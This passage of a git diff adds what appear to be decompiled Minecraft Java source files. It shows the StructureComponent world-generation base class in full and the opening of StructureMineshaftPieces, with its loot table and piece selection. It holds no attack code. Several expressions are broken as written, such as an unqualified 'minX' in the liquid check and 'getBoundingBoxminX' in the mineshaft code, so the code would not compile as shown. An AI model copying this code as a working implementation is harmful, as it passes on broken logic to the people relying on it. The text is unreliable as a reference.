+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_175895_a[EnumFacing.EAST.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+    }
+    
+    SwitchEnumFacing() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/structure/StructureComponent.java b/src/minecraft/net/minecraft/world/gen/structure/StructureComponent.java
new file mode 100644
index 0000000..dcab770
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/structure/StructureComponent.java
@@ -0,0 +1,882 @@
+package net.minecraft.world.gen.structure;
+
+import java.util.Iterator;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockChest;
+import net.minecraft.block.BlockDirectional;
+import net.minecraft.block.BlockDoor;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.ItemDoor;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityChest;
+import net.minecraft.tileentity.TileEntityDispenser;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.WeightedRandomChestContent;
+import net.minecraft.world.World;
+
+
+
+
+public abstract class StructureComponent
+{
+  protected StructureBoundingBox boundingBox;
+  protected EnumFacing coordBaseMode;
+  protected int componentType;
+  private static final String __OBFID = "CL_00000511";
+  
+  public StructureComponent() {}
+  
+  protected StructureComponent(int p_i2091_1_)
+  {
+    componentType = p_i2091_1_;
+  }
+  
+  public NBTTagCompound func_143010_b()
+  {
+    NBTTagCompound var1 = new NBTTagCompound();
+    var1.setString("id", MapGenStructureIO.func_143036_a(this));
+    var1.setTag("BB", boundingBox.func_151535_h());
+    var1.setInteger("O", coordBaseMode == null ? -1 : coordBaseMode.getHorizontalIndex());
+    var1.setInteger("GD", componentType);
+    writeStructureToNBT(var1);
+    return var1;
+  }
+  
+
+
+  protected abstract void writeStructureToNBT(NBTTagCompound paramNBTTagCompound);
+  
+
+  public void func_143009_a(World worldIn, NBTTagCompound p_143009_2_)
+  {
+    if (p_143009_2_.hasKey("BB"))
+    {
+      boundingBox = new StructureBoundingBox(p_143009_2_.getIntArray("BB"));
+    }
+    
+    int var3 = p_143009_2_.getInteger("O");
+    coordBaseMode = (var3 == -1 ? null : EnumFacing.getHorizontal(var3));
+    componentType = p_143009_2_.getInteger("GD");
+    readStructureFromNBT(p_143009_2_);
+  }
+  
+
+
+
+  protected abstract void readStructureFromNBT(NBTTagCompound paramNBTTagCompound);
+  
+
+
+
+  public void buildComponent(StructureComponent p_74861_1_, List p_74861_2_, Random p_74861_3_) {}
+  
+
+
+  public abstract boolean addComponentParts(World paramWorld, Random paramRandom, StructureBoundingBox paramStructureBoundingBox);
+  
+
+
+  public StructureBoundingBox getBoundingBox()
+  {
+    return boundingBox;
+  }
+  
+
+
+
+  public int getComponentType()
+  {
+    return componentType;
+  }
+  
+
+
+
+  public static StructureComponent findIntersecting(List p_74883_0_, StructureBoundingBox p_74883_1_)
+  {
+    Iterator var2 = p_74883_0_.iterator();
+    
+    StructureComponent var3;
+    do
+    {
+      if (!var2.hasNext())
+      {
+        return null;
+      }
+      
+      var3 = (StructureComponent)var2.next();
+    }
+    while ((var3.getBoundingBox() == null) || (!var3.getBoundingBox().intersectsWith(p_74883_1_)));
+    
+    return var3;
+  }
+  
+  public BlockPos func_180776_a()
+  {
+    return new BlockPos(boundingBox.func_180717_f());
+  }
+  
+
+
+
+  protected boolean isLiquidInStructureBoundingBox(World worldIn, StructureBoundingBox p_74860_2_)
+  {
+    int var3 = Math.max(boundingBox.minX - 1, minX);
+    int var4 = Math.max(boundingBox.minY - 1, minY);
+    int var5 = Math.max(boundingBox.minZ - 1, minZ);
+    int var6 = Math.min(boundingBox.maxX + 1, maxX);
+    int var7 = Math.min(boundingBox.maxY + 1, maxY);
+    int var8 = Math.min(boundingBox.maxZ + 1, maxZ);
+    
+
+
+    for (int var9 = var3; var9 <= var6; var9++)
+    {
+      for (int var10 = var5; var10 <= var8; var10++)
+      {
+        if (worldIn.getBlockState(new BlockPos(var9, var4, var10)).getBlock().getMaterial().isLiquid())
+        {
+          return true;
+        }
+        
+        if (worldIn.getBlockState(new BlockPos(var9, var7, var10)).getBlock().getMaterial().isLiquid())
+        {
+          return true;
+        }
+      }
+    }
+    
+    for (var9 = var3; var9 <= var6; var9++)
+    {
+      for (int var10 = var4; var10 <= var7; var10++)
+      {
+        if (worldIn.getBlockState(new BlockPos(var9, var10, var5)).getBlock().getMaterial().isLiquid())
+        {
+          return true;
+        }
+        
+        if (worldIn.getBlockState(new BlockPos(var9, var10, var8)).getBlock().getMaterial().isLiquid())
+        {
+          return true;
+        }
+      }
+    }
+    
+    for (var9 = var5; var9 <= var8; var9++)
+    {
+      for (int var10 = var4; var10 <= var7; var10++)
+      {
+        if (worldIn.getBlockState(new BlockPos(var3, var10, var9)).getBlock().getMaterial().isLiquid())
+        {
+          return true;
+        }
+        
+        if (worldIn.getBlockState(new BlockPos(var6, var10, var9)).getBlock().getMaterial().isLiquid())
+        {
+          return true;
+        }
+      }
+    }
+    
+    return false;
+  }
+  
+  protected int getXWithOffset(int p_74865_1_, int p_74865_2_)
+  {
+    if (coordBaseMode == null)
+    {
+      return p_74865_1_;
+    }
+    
+
+    switch (SwitchEnumFacing.field_176100_a[coordBaseMode.ordinal()])
+    {
+    case 1: 
+    case 2: 
+      return boundingBox.minX + p_74865_1_;
+    
+    case 3: 
+      return boundingBox.maxX - p_74865_2_;
+    
+    case 4: 
+      return boundingBox.minX + p_74865_2_;
+    }
+    
+    return p_74865_1_;
+  }
+  
+
+
+  protected int getYWithOffset(int p_74862_1_)
+  {
+    return coordBaseMode == null ? p_74862_1_ : p_74862_1_ + boundingBox.minY;
+  }
+  
+  protected int getZWithOffset(int p_74873_1_, int p_74873_2_)
+  {
+    if (coordBaseMode == null)
+    {
+      return p_74873_2_;
+    }
+    
+
+    switch (SwitchEnumFacing.field_176100_a[coordBaseMode.ordinal()])
+    {
+    case 1: 
+      return boundingBox.maxZ - p_74873_2_;
+    
+    case 2: 
+      return boundingBox.minZ + p_74873_2_;
+    
+    case 3: 
+    case 4: 
+      return boundingBox.minZ + p_74873_1_;
+    }
+    
+    return p_74873_2_;
+  }
+  
+
+
+
+
+
+  protected int getMetadataWithOffset(Block p_151555_1_, int p_151555_2_)
+  {
+    if (p_151555_1_ == Blocks.rail)
+    {
+      if ((coordBaseMode == EnumFacing.WEST) || (coordBaseMode == EnumFacing.EAST))
+      {
+        if (p_151555_2_ == 1)
+        {
+          return 0;
+        }
+        
+        return 1;
+      }
+    }
+    else if ((p_151555_1_ instanceof BlockDoor))
+    {
+      if (coordBaseMode == EnumFacing.SOUTH)
+      {
+        if (p_151555_2_ == 0)
+        {
+          return 2;
+        }
+        
+        if (p_151555_2_ == 2)
+        {
+          return 0;
+        }
+      }
+      else
+      {
+        if (coordBaseMode == EnumFacing.WEST)
+        {
+          return p_151555_2_ + 1 & 0x3;
+        }
+        
+        if (coordBaseMode == EnumFacing.EAST)
+        {
+          return p_151555_2_ + 3 & 0x3;
+        }
+      }
+    }
+    else if ((p_151555_1_ != Blocks.stone_stairs) && (p_151555_1_ != Blocks.oak_stairs) && (p_151555_1_ != Blocks.nether_brick_stairs) && (p_151555_1_ != Blocks.stone_brick_stairs) && (p_151555_1_ != Blocks.sandstone_stairs))
+    {
+      if (p_151555_1_ == Blocks.ladder)
+      {
+        if (coordBaseMode == EnumFacing.SOUTH)
+        {
+          if (p_151555_2_ == EnumFacing.NORTH.getIndex())
+          {
+            return EnumFacing.SOUTH.getIndex();
+          }
+          
+          if (p_151555_2_ == EnumFacing.SOUTH.getIndex())
+          {
+            return EnumFacing.NORTH.getIndex();
+          }
+        }
+        else if (coordBaseMode == EnumFacing.WEST)
+        {
+          if (p_151555_2_ == EnumFacing.NORTH.getIndex())
+          {
+            return EnumFacing.WEST.getIndex();
+          }
+          
+          if (p_151555_2_ == EnumFacing.SOUTH.getIndex())
+          {
+            return EnumFacing.EAST.getIndex();
+          }
+          
+          if (p_151555_2_ == EnumFacing.WEST.getIndex())
+          {
+            return EnumFacing.NORTH.getIndex();
+          }
+          
+          if (p_151555_2_ == EnumFacing.EAST.getIndex())
+          {
+            return EnumFacing.SOUTH.getIndex();
+          }
+        }
+        else if (coordBaseMode == EnumFacing.EAST)
+        {
+          if (p_151555_2_ == EnumFacing.NORTH.getIndex())
+          {
+            return EnumFacing.EAST.getIndex();
+          }
+          
+          if (p_151555_2_ == EnumFacing.SOUTH.getIndex())
+          {
+            return EnumFacing.WEST.getIndex();
+          }
+          
+          if (p_151555_2_ == EnumFacing.WEST.getIndex())
+          {
+            return EnumFacing.NORTH.getIndex();
+          }
+          
+          if (p_151555_2_ == EnumFacing.EAST.getIndex())
+          {
+            return EnumFacing.SOUTH.getIndex();
+          }
+        }
+      }
+      else if (p_151555_1_ == Blocks.stone_button)
+      {
+        if (coordBaseMode == EnumFacing.SOUTH)
+        {
+          if (p_151555_2_ == 3)
+          {
+            return 4;
+          }
+          
+          if (p_151555_2_ == 4)
+          {
+            return 3;
+          }
+        }
+        else if (coordBaseMode == EnumFacing.WEST)
+        {
+          if (p_151555_2_ == 3)
+          {
+            return 1;
+          }
+          
+          if (p_151555_2_ == 4)
+          {
+            return 2;
+          }
+          
+          if (p_151555_2_ == 2)
+          {
+            return 3;
+          }
+          
+          if (p_151555_2_ == 1)
+          {
+            return 4;
+          }
+        }
+        else if (coordBaseMode == EnumFacing.EAST)
+        {
+          if (p_151555_2_ == 3)
+          {
+            return 2;
+          }
+          
+          if (p_151555_2_ == 4)
+          {
+            return 1;
+          }
+          
+          if (p_151555_2_ == 2)
+          {
+            return 3;
+          }
+          
+          if (p_151555_2_ == 1)
+          {
+            return 4;
+          }
+        }
+      }
+      else if ((p_151555_1_ != Blocks.tripwire_hook) && (!(p_151555_1_ instanceof BlockDirectional)))
+      {
+        if ((p_151555_1_ == Blocks.piston) || (p_151555_1_ == Blocks.sticky_piston) || (p_151555_1_ == Blocks.lever) || (p_151555_1_ == Blocks.dispenser))
+        {
+          if (coordBaseMode == EnumFacing.SOUTH)
+          {
+            if ((p_151555_2_ == EnumFacing.NORTH.getIndex()) || (p_151555_2_ == EnumFacing.SOUTH.getIndex()))
+            {
+              return EnumFacing.getFront(p_151555_2_).getOpposite().getIndex();
+            }
+          }
+          else if (coordBaseMode == EnumFacing.WEST)
+          {
+            if (p_151555_2_ == EnumFacing.NORTH.getIndex())
+            {
+              return EnumFacing.WEST.getIndex();
+            }
+            
+            if (p_151555_2_ == EnumFacing.SOUTH.getIndex())
+            {
+              return EnumFacing.EAST.getIndex();
+            }
+            
+            if (p_151555_2_ == EnumFacing.WEST.getIndex())
+            {
+              return EnumFacing.NORTH.getIndex();
+            }
+            
+            if (p_151555_2_ == EnumFacing.EAST.getIndex())
+            {
+              return EnumFacing.SOUTH.getIndex();
+            }
+          }
+          else if (coordBaseMode == EnumFacing.EAST)
+          {
+            if (p_151555_2_ == EnumFacing.NORTH.getIndex())
+            {
+              return EnumFacing.EAST.getIndex();
+            }
+            
+            if (p_151555_2_ == EnumFacing.SOUTH.getIndex())
+            {
+              return EnumFacing.WEST.getIndex();
+            }
+            
+            if (p_151555_2_ == EnumFacing.WEST.getIndex())
+            {
+              return EnumFacing.NORTH.getIndex();
+            }
+            
+            if (p_151555_2_ == EnumFacing.EAST.getIndex())
+            {
+              return EnumFacing.SOUTH.getIndex();
+            }
+          }
+        }
+      }
+      else
+      {
+        EnumFacing var3 = EnumFacing.getHorizontal(p_151555_2_);
+        
+        if (coordBaseMode == EnumFacing.SOUTH)
+        {
+          if ((var3 == EnumFacing.SOUTH) || (var3 == EnumFacing.NORTH))
+          {
+            return var3.getOpposite().getHorizontalIndex();
+          }
+        }
+        else if (coordBaseMode == EnumFacing.WEST)
+        {
+          if (var3 == EnumFacing.NORTH)
+          {
+            return EnumFacing.WEST.getHorizontalIndex();
+          }
+          
+          if (var3 == EnumFacing.SOUTH)
+          {
+            return EnumFacing.EAST.getHorizontalIndex();
+          }
+          
+          if (var3 == EnumFacing.WEST)
+          {
+            return EnumFacing.NORTH.getHorizontalIndex();
+          }
+          
+          if (var3 == EnumFacing.EAST)
+          {
+            return EnumFacing.SOUTH.getHorizontalIndex();
+          }
+        }
+        else if (coordBaseMode == EnumFacing.EAST)
+        {
+          if (var3 == EnumFacing.NORTH)
+          {
+            return EnumFacing.EAST.getHorizontalIndex();
+          }
+          
+          if (var3 == EnumFacing.SOUTH)
+          {
+            return EnumFacing.WEST.getHorizontalIndex();
+          }
+          
+          if (var3 == EnumFacing.WEST)
+          {
+            return EnumFacing.NORTH.getHorizontalIndex();
+          }
+          
+          if (var3 == EnumFacing.EAST)
+          {
+            return EnumFacing.SOUTH.getHorizontalIndex();
+          }
+        }
+      }
+    }
+    else if (coordBaseMode == EnumFacing.SOUTH)
+    {
+      if (p_151555_2_ == 2)
+      {
+        return 3;
+      }
+      
+      if (p_151555_2_ == 3)
+      {
+        return 2;
+      }
+    }
+    else if (coordBaseMode == EnumFacing.WEST)
+    {
+      if (p_151555_2_ == 0)
+      {
+        return 2;
+      }
+      
+      if (p_151555_2_ == 1)
+      {
+        return 3;
+      }
+      
+      if (p_151555_2_ == 2)
+      {
+        return 0;
+      }
+      
+      if (p_151555_2_ == 3)
+      {
+        return 1;
+      }
+    }
+    else if (coordBaseMode == EnumFacing.EAST)
+    {
+      if (p_151555_2_ == 0)
+      {
+        return 2;
+      }
+      
+      if (p_151555_2_ == 1)
+      {
+        return 3;
+      }
+      
+      if (p_151555_2_ == 2)
+      {
+        return 1;
+      }
+      
+      if (p_151555_2_ == 3)
+      {
+        return 0;
+      }
+    }
+    
+    return p_151555_2_;
+  }
+  
+  protected void func_175811_a(World worldIn, IBlockState p_175811_2_, int p_175811_3_, int p_175811_4_, int p_175811_5_, StructureBoundingBox p_175811_6_)
+  {
+    BlockPos var7 = new BlockPos(getXWithOffset(p_175811_3_, p_175811_5_), getYWithOffset(p_175811_4_), getZWithOffset(p_175811_3_, p_175811_5_));
+    
+    if (p_175811_6_.func_175898_b(var7))
+    {
+      worldIn.setBlockState(var7, p_175811_2_, 2);
+    }
+  }
+  
+  protected IBlockState func_175807_a(World worldIn, int p_175807_2_, int p_175807_3_, int p_175807_4_, StructureBoundingBox p_175807_5_)
+  {
+    int var6 = getXWithOffset(p_175807_2_, p_175807_4_);
+    int var7 = getYWithOffset(p_175807_3_);
+    int var8 = getZWithOffset(p_175807_2_, p_175807_4_);
+    return !p_175807_5_.func_175898_b(new BlockPos(var6, var7, var8)) ? Blocks.air.getDefaultState() : worldIn.getBlockState(new BlockPos(var6, var7, var8));
+  }
+  
+
+
+
+
+  protected void fillWithAir(World worldIn, StructureBoundingBox p_74878_2_, int p_74878_3_, int p_74878_4_, int p_74878_5_, int p_74878_6_, int p_74878_7_, int p_74878_8_)
+  {
+    for (int var9 = p_74878_4_; var9 <= p_74878_7_; var9++)
+    {
+      for (int var10 = p_74878_3_; var10 <= p_74878_6_; var10++)
+      {
+        for (int var11 = p_74878_5_; var11 <= p_74878_8_; var11++)
+        {
+          func_175811_a(worldIn, Blocks.air.getDefaultState(), var10, var9, var11, p_74878_2_);
+        }
+      }
+    }
+  }
+  
+  protected void func_175804_a(World worldIn, StructureBoundingBox p_175804_2_, int p_175804_3_, int p_175804_4_, int p_175804_5_, int p_175804_6_, int p_175804_7_, int p_175804_8_, IBlockState p_175804_9_, IBlockState p_175804_10_, boolean p_175804_11_)
+  {
+    for (int var12 = p_175804_4_; var12 <= p_175804_7_; var12++)
+    {
+      for (int var13 = p_175804_3_; var13 <= p_175804_6_; var13++)
+      {
+        for (int var14 = p_175804_5_; var14 <= p_175804_8_; var14++)
+        {
+          if ((!p_175804_11_) || (func_175807_a(worldIn, var13, var12, var14, p_175804_2_).getBlock().getMaterial() != Material.air))
+          {
+            if ((var12 != p_175804_4_) && (var12 != p_175804_7_) && (var13 != p_175804_3_) && (var13 != p_175804_6_) && (var14 != p_175804_5_) && (var14 != p_175804_8_))
+            {
+              func_175811_a(worldIn, p_175804_10_, var13, var12, var14, p_175804_2_);
+            }
+            else
+            {
+              func_175811_a(worldIn, p_175804_9_, var13, var12, var14, p_175804_2_);
+            }
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+
+  protected void fillWithRandomizedBlocks(World worldIn, StructureBoundingBox p_74882_2_, int p_74882_3_, int p_74882_4_, int p_74882_5_, int p_74882_6_, int p_74882_7_, int p_74882_8_, boolean p_74882_9_, Random p_74882_10_, BlockSelector p_74882_11_)
+  {
+    for (int var12 = p_74882_4_; var12 <= p_74882_7_; var12++)
+    {
+      for (int var13 = p_74882_3_; var13 <= p_74882_6_; var13++)
+      {
+        for (int var14 = p_74882_5_; var14 <= p_74882_8_; var14++)
+        {
+          if ((!p_74882_9_) || (func_175807_a(worldIn, var13, var12, var14, p_74882_2_).getBlock().getMaterial() != Material.air))
+          {
+            p_74882_11_.selectBlocks(p_74882_10_, var13, var12, var14, (var12 == p_74882_4_) || (var12 == p_74882_7_) || (var13 == p_74882_3_) || (var13 == p_74882_6_) || (var14 == p_74882_5_) || (var14 == p_74882_8_));
+            func_175811_a(worldIn, p_74882_11_.func_180780_a(), var13, var12, var14, p_74882_2_);
+          }
+        }
+      }
+    }
+  }
+  
+  protected void func_175805_a(World worldIn, StructureBoundingBox p_175805_2_, Random p_175805_3_, float p_175805_4_, int p_175805_5_, int p_175805_6_, int p_175805_7_, int p_175805_8_, int p_175805_9_, int p_175805_10_, IBlockState p_175805_11_, IBlockState p_175805_12_, boolean p_175805_13_)
+  {
+    for (int var14 = p_175805_6_; var14 <= p_175805_9_; var14++)
+    {
+      for (int var15 = p_175805_5_; var15 <= p_175805_8_; var15++)
+      {
+        for (int var16 = p_175805_7_; var16 <= p_175805_10_; var16++)
+        {
+          if ((p_175805_3_.nextFloat() <= p_175805_4_) && ((!p_175805_13_) || (func_175807_a(worldIn, var15, var14, var16, p_175805_2_).getBlock().getMaterial() != Material.air)))
+          {
+            if ((var14 != p_175805_6_) && (var14 != p_175805_9_) && (var15 != p_175805_5_) && (var15 != p_175805_8_) && (var16 != p_175805_7_) && (var16 != p_175805_10_))
+            {
+              func_175811_a(worldIn, p_175805_12_, var15, var14, var16, p_175805_2_);
+            }
+            else
+            {
+              func_175811_a(worldIn, p_175805_11_, var15, var14, var16, p_175805_2_);
+            }
+          }
+        }
+      }
+    }
+  }
+  
+  protected void func_175809_a(World worldIn, StructureBoundingBox p_175809_2_, Random p_175809_3_, float p_175809_4_, int p_175809_5_, int p_175809_6_, int p_175809_7_, IBlockState p_175809_8_)
+  {
+    if (p_175809_3_.nextFloat() < p_175809_4_)
+    {
+      func_175811_a(worldIn, p_175809_8_, p_175809_5_, p_175809_6_, p_175809_7_, p_175809_2_);
+    }
+  }
+  
+  protected void func_180777_a(World worldIn, StructureBoundingBox p_180777_2_, int p_180777_3_, int p_180777_4_, int p_180777_5_, int p_180777_6_, int p_180777_7_, int p_180777_8_, IBlockState p_180777_9_, boolean p_180777_10_)
+  {
+    float var11 = p_180777_6_ - p_180777_3_ + 1;
+    float var12 = p_180777_7_ - p_180777_4_ + 1;
+    float var13 = p_180777_8_ - p_180777_5_ + 1;
+    float var14 = p_180777_3_ + var11 / 2.0F;
+    float var15 = p_180777_5_ + var13 / 2.0F;
+    
+    for (int var16 = p_180777_4_; var16 <= p_180777_7_; var16++)
+    {
+      float var17 = (var16 - p_180777_4_) / var12;
+      
+      for (int var18 = p_180777_3_; var18 <= p_180777_6_; var18++)
+      {
+        float var19 = (var18 - var14) / (var11 * 0.5F);
+        
+        for (int var20 = p_180777_5_; var20 <= p_180777_8_; var20++)
+        {
+          float var21 = (var20 - var15) / (var13 * 0.5F);
+          
+          if ((!p_180777_10_) || (func_175807_a(worldIn, var18, var16, var20, p_180777_2_).getBlock().getMaterial() != Material.air))
+          {
+            float var22 = var19 * var19 + var17 * var17 + var21 * var21;
+            
+            if (var22 <= 1.05F)
+            {
+              func_175811_a(worldIn, p_180777_9_, var18, var16, var20, p_180777_2_);
+            }
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+  protected void clearCurrentPositionBlocksUpwards(World worldIn, int p_74871_2_, int p_74871_3_, int p_74871_4_, StructureBoundingBox p_74871_5_)
+  {
+    BlockPos var6 = new BlockPos(getXWithOffset(p_74871_2_, p_74871_4_), getYWithOffset(p_74871_3_), getZWithOffset(p_74871_2_, p_74871_4_));
+    
+    if (p_74871_5_.func_175898_b(var6))
+    {
+      while ((!worldIn.isAirBlock(var6)) && (var6.getY() < 255))
+      {
+        worldIn.setBlockState(var6, Blocks.air.getDefaultState(), 2);
+        var6 = var6.offsetUp();
+      }
+    }
+  }
+  
+  protected void func_175808_b(World worldIn, IBlockState p_175808_2_, int p_175808_3_, int p_175808_4_, int p_175808_5_, StructureBoundingBox p_175808_6_)
+  {
+    int var7 = getXWithOffset(p_175808_3_, p_175808_5_);
+    int var8 = getYWithOffset(p_175808_4_);
+    int var9 = getZWithOffset(p_175808_3_, p_175808_5_);
+    
+    if (p_175808_6_.func_175898_b(new BlockPos(var7, var8, var9)))
+    {
+      while (((worldIn.isAirBlock(new BlockPos(var7, var8, var9))) || (worldIn.getBlockState(new BlockPos(var7, var8, var9)).getBlock().getMaterial().isLiquid())) && (var8 > 1))
+      {
+        worldIn.setBlockState(new BlockPos(var7, var8, var9), p_175808_2_, 2);
+        var8--;
+      }
+    }
+  }
+  
+  protected boolean func_180778_a(World worldIn, StructureBoundingBox p_180778_2_, Random p_180778_3_, int p_180778_4_, int p_180778_5_, int p_180778_6_, List p_180778_7_, int p_180778_8_)
+  {
+    BlockPos var9 = new BlockPos(getXWithOffset(p_180778_4_, p_180778_6_), getYWithOffset(p_180778_5_), getZWithOffset(p_180778_4_, p_180778_6_));
+    
+    if ((p_180778_2_.func_175898_b(var9)) && (worldIn.getBlockState(var9).getBlock() != Blocks.chest))
+    {
+      IBlockState var10 = Blocks.chest.getDefaultState();
+      worldIn.setBlockState(var9, Blocks.chest.func_176458_f(worldIn, var9, var10), 2);
+      TileEntity var11 = worldIn.getTileEntity(var9);
+      
+      if ((var11 instanceof TileEntityChest))
+      {
+        WeightedRandomChestContent.generateChestContents(p_180778_3_, p_180778_7_, (TileEntityChest)var11, p_180778_8_);
+      }
+      
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+  protected boolean func_175806_a(World worldIn, StructureBoundingBox p_175806_2_, Random p_175806_3_, int p_175806_4_, int p_175806_5_, int p_175806_6_, int p_175806_7_, List p_175806_8_, int p_175806_9_)
+  {
+    BlockPos var10 = new BlockPos(getXWithOffset(p_175806_4_, p_175806_6_), getYWithOffset(p_175806_5_), getZWithOffset(p_175806_4_, p_175806_6_));
+    
+    if ((p_175806_2_.func_175898_b(var10)) && (worldIn.getBlockState(var10).getBlock() != Blocks.dispenser))
+    {
+      worldIn.setBlockState(var10, Blocks.dispenser.getStateFromMeta(getMetadataWithOffset(Blocks.dispenser, p_175806_7_)), 2);
+      TileEntity var11 = worldIn.getTileEntity(var10);
+      
+      if ((var11 instanceof TileEntityDispenser))
+      {
+        WeightedRandomChestContent.func_177631_a(p_175806_3_, p_175806_8_, (TileEntityDispenser)var11, p_175806_9_);
+      }
+      
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+  protected void func_175810_a(World worldIn, StructureBoundingBox p_175810_2_, Random p_175810_3_, int p_175810_4_, int p_175810_5_, int p_175810_6_, EnumFacing p_175810_7_)
+  {
+    BlockPos var8 = new BlockPos(getXWithOffset(p_175810_4_, p_175810_6_), getYWithOffset(p_175810_5_), getZWithOffset(p_175810_4_, p_175810_6_));
+    
+    if (p_175810_2_.func_175898_b(var8))
+    {
+      ItemDoor.func_179235_a(worldIn, var8, p_175810_7_.rotateYCCW(), Blocks.oak_door);
+    }
+  }
+  
+  public static abstract class BlockSelector
+  {
+    protected IBlockState field_151562_a;
+    private static final String __OBFID = "CL_00000512";
+    
+    protected BlockSelector()
+    {
+      field_151562_a = Blocks.air.getDefaultState();
+    }
+    
+    public abstract void selectBlocks(Random paramRandom, int paramInt1, int paramInt2, int paramInt3, boolean paramBoolean);
+    
+    public IBlockState func_180780_a()
+    {
+      return field_151562_a;
+    }
+  }
+  
+  static final class SwitchEnumFacing
+  {
+    static final int[] field_176100_a = new int[EnumFacing.values().length];
+    private static final String __OBFID = "CL_00001969";
+    
+    static
+    {
+      try
+      {
+        field_176100_a[EnumFacing.NORTH.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_176100_a[EnumFacing.SOUTH.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_176100_a[EnumFacing.WEST.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_176100_a[EnumFacing.EAST.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+    }
+    
+    SwitchEnumFacing() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/structure/StructureMineshaftPieces.java b/src/minecraft/net/minecraft/world/gen/structure/StructureMineshaftPieces.java
new file mode 100644
index 0000000..eca9f56
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/structure/StructureMineshaftPieces.java
@@ -0,0 +1,875 @@
+package net.minecraft.world.gen.structure;
+
+import com.google.common.collect.Lists;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.item.EntityMinecartChest;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.EnumDyeColor;
+import net.minecraft.item.ItemEnchantedBook;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.tileentity.TileEntityMobSpawner;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.WeightedRandomChestContent;
+import net.minecraft.world.World;
+
+public class StructureMineshaftPieces
+{
+  private static final List field_175893_a = Lists.newArrayList(new WeightedRandomChestContent[] { new WeightedRandomChestContent(Items.iron_ingot, 0, 1, 5, 10), new WeightedRandomChestContent(Items.gold_ingot, 0, 1, 3, 5), new WeightedRandomChestContent(Items.redstone, 0, 4, 9, 5), new WeightedRandomChestContent(Items.dye, EnumDyeColor.BLUE.getDyeColorDamage(), 4, 9, 5), new WeightedRandomChestContent(Items.diamond, 0, 1, 2, 3), new WeightedRandomChestContent(Items.coal, 0, 3, 8, 10), new WeightedRandomChestContent(Items.bread, 0, 1, 3, 15), new WeightedRandomChestContent(Items.iron_pickaxe, 0, 1, 1, 1), new WeightedRandomChestContent(net.minecraft.item.Item.getItemFromBlock(Blocks.rail), 0, 4, 8, 1), new WeightedRandomChestContent(Items.melon_seeds, 0, 2, 4, 10), new WeightedRandomChestContent(Items.pumpkin_seeds, 0, 2, 4, 10), new WeightedRandomChestContent(Items.saddle, 0, 1, 1, 3), new WeightedRandomChestContent(Items.iron_horse_armor, 0, 1, 1, 1) });
+  private static final String __OBFID = "CL_00000444";
+  
+  public StructureMineshaftPieces() {}
+  
+  public static void registerStructurePieces() { MapGenStructureIO.registerStructureComponent(Corridor.class, "MSCorridor");
+    MapGenStructureIO.registerStructureComponent(Cross.class, "MSCrossing");
+    MapGenStructureIO.registerStructureComponent(Room.class, "MSRoom");
+    MapGenStructureIO.registerStructureComponent(Stairs.class, "MSStairs");
+  }
+  
+  private static StructureComponent func_175892_a(List p_175892_0_, Random p_175892_1_, int p_175892_2_, int p_175892_3_, int p_175892_4_, EnumFacing p_175892_5_, int p_175892_6_)
+  {
+    int var7 = p_175892_1_.nextInt(100);
+    
+
+    if (var7 >= 80)
+    {
+      StructureBoundingBox var8 = Cross.func_175813_a(p_175892_0_, p_175892_1_, p_175892_2_, p_175892_3_, p_175892_4_, p_175892_5_);
+      
+      if (var8 != null)
+      {
+        return new Cross(p_175892_6_, p_175892_1_, var8, p_175892_5_);
+      }
+    }
+    else if (var7 >= 70)
+    {
+      StructureBoundingBox var8 = Stairs.func_175812_a(p_175892_0_, p_175892_1_, p_175892_2_, p_175892_3_, p_175892_4_, p_175892_5_);
+      
+      if (var8 != null)
+      {
+        return new Stairs(p_175892_6_, p_175892_1_, var8, p_175892_5_);
+      }
+    }
+    else
+    {
+      StructureBoundingBox var8 = Corridor.func_175814_a(p_175892_0_, p_175892_1_, p_175892_2_, p_175892_3_, p_175892_4_, p_175892_5_);
+      
+      if (var8 != null)
+      {
+        return new Corridor(p_175892_6_, p_175892_1_, var8, p_175892_5_);
+      }
+    }
+    
+    return null;
+  }
+  
+  private static StructureComponent func_175890_b(StructureComponent p_175890_0_, List p_175890_1_, Random p_175890_2_, int p_175890_3_, int p_175890_4_, int p_175890_5_, EnumFacing p_175890_6_, int p_175890_7_)
+  {
+    if (p_175890_7_ > 8)
+    {
+      return null;
+    }
+    if ((Math.abs(p_175890_3_ - getBoundingBoxminX) <= 80) && (Math.abs(p_175890_5_ - getBoundingBoxminZ) <= 80))
+    {
+      StructureComponent var8 = func_175892_a(p_175890_1_, p_175890_2_, p_175890_3_, p_175890_4_, p_175890_5_, p_175890_6_, p_175890_7_ + 1);
+      
+      if (var8 != null)
+      {
+        p_175890_1_.add(var8);
+        var8.buildComponent(p_175890_0_, p_175890_1_, p_175890_2_);
